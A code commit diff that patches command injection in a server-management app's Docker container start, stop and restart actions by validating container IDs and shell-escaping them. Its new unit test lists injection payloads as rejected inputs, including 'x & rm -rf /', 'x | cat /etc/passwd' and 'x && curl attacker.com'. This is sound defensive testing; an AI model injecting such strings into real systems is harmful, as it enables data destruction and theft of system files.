fix(livewire): add input validation to unmanaged container operations (#9172)

app/Livewire/Server/Resources.php

@@ -3,6 +3,7 @@
 namespace App\Livewire\Server;
 
 use App\Models\Server;
+use App\Support\ValidationPatterns;
 use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
 use Livewire\Component;
 
@@ -29,6 +30,11 @@ class Resources extends Component
 
     public function startUnmanaged($id)
     {
+        if (! ValidationPatterns::isValidContainerName($id)) {
+            $this->dispatch('error', 'Invalid container identifier.');
+
+            return;
+        }
         $this->server->startUnmanaged($id);
         $this->dispatch('success', 'Container started.');
         $this->loadUnmanagedContainers();
@@ -36,6 +42,11 @@ class Resources extends Component
 
     public function restartUnmanaged($id)
     {
+        if (! ValidationPatterns::isValidContainerName($id)) {
+            $this->dispatch('error', 'Invalid container identifier.');
+
+            return;
+        }
         $this->server->restartUnmanaged($id);
         $this->dispatch('success', 'Container restarted.');
         $this->loadUnmanagedContainers();
@@ -43,6 +54,11 @@ class Resources extends Component
 
     public function stopUnmanaged($id)
     {
+        if (! ValidationPatterns::isValidContainerName($id)) {
+            $this->dispatch('error', 'Invalid container identifier.');
+
+            return;
+        }
         $this->server->stopUnmanaged($id);
         $this->dispatch('success', 'Container stopped.');
         $this->loadUnmanagedContainers();

app/Models/Server.php

@@ -11,7 +11,9 @@ use App\Enums\ProxyTypes;
 use App\Events\ServerReachabilityChanged;
 use App\Helpers\SslHelper;
 use App\Jobs\CheckAndStartSentinelJob;
+use App\Jobs\CheckTraefikVersionForServerJob;
 use App\Jobs\RegenerateSslCertJob;
+use App\Livewire\Server\Proxy;
 use App\Notifications\Server\Reachable;
 use App\Notifications\Server\Unreachable;
 use App\Services\ConfigurationRepository;
@@ -77,8 +79,8 @@ use Visus\Cuid2\Cuid2;
  * - Traefik image uses the 'latest' tag (no fixed version tracking)
  * - No Traefik version detected on the server
  *
- * @see \App\Jobs\CheckTraefikVersionForServerJob Where this data is populated
- * @see \App\Livewire\Server\Proxy Where this data is read and displayed
+ * @see CheckTraefikVersionForServerJob Where this data is populated
+ * @see Proxy Where this data is read and displayed
  */
 #[OA\Schema(
     description: 'Server model',
@@ -719,17 +721,17 @@ $schema://$host {
 
     public function stopUnmanaged($id)
     {
-        return instant_remote_process(["docker stop -t 0 $id"], $this);
+        return instant_remote_process(['docker stop -t 0 '.escapeshellarg($id)], $this);
     }
 
     public function restartUnmanaged($id)
     {
-        return instant_remote_process(["docker restart $id"], $this);
+        return instant_remote_process(['docker restart '.escapeshellarg($id)], $this);
     }
 
     public function startUnmanaged($id)
     {
-        return instant_remote_process(["docker start $id"], $this);
+        return instant_remote_process(['docker start '.escapeshellarg($id)], $this);
     }
 
     public function getContainers()
@@ -1460,7 +1462,7 @@ $schema://$host {
 
     public function restartContainer(string $containerName)
     {
-        return instant_remote_process(['docker restart '.$containerName], $this, false);
+        return instant_remote_process(['docker restart '.escapeshellarg($containerName)], $this, false);
     }
 
     public function changeProxy(string $proxyType, bool $async = true)

tests/Unit/UnmanagedContainerCommandInjectionTest.php

@@ -0,0 +1,28 @@
+<?php
+
+use App\Support\ValidationPatterns;
+
+it('rejects container IDs with command injection characters', function (string $id) {
+    expect(ValidationPatterns::isValidContainerName($id))->toBeFalse();
+})->with([
+    'semicolon injection' => 'x; id > /tmp/pwned',
+    'pipe injection' => 'x | cat /etc/passwd',
+    'command substitution backtick' => 'x`whoami`',
+    'command substitution dollar' => 'x$(whoami)',
+    'ampersand background' => 'x & rm -rf /',
+    'double ampersand' => 'x && curl attacker.com',
+    'newline injection' => "x\nid",
+    'space injection' => 'x id',
+    'redirect output' => 'x > /tmp/pwned',
+    'redirect input' => 'x < /etc/passwd',
+]);
+
+it('accepts valid Docker container IDs', function (string $id) {
+    expect(ValidationPatterns::isValidContainerName($id))->toBeTrue();
+})->with([
+    'short hex id' => 'abc123def456',
+    'full sha256 id' => 'a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2',
+    'container name' => 'my-container',
+    'name with dots' => 'my.container.name',
+    'name with underscores' => 'my_container_name',
+]);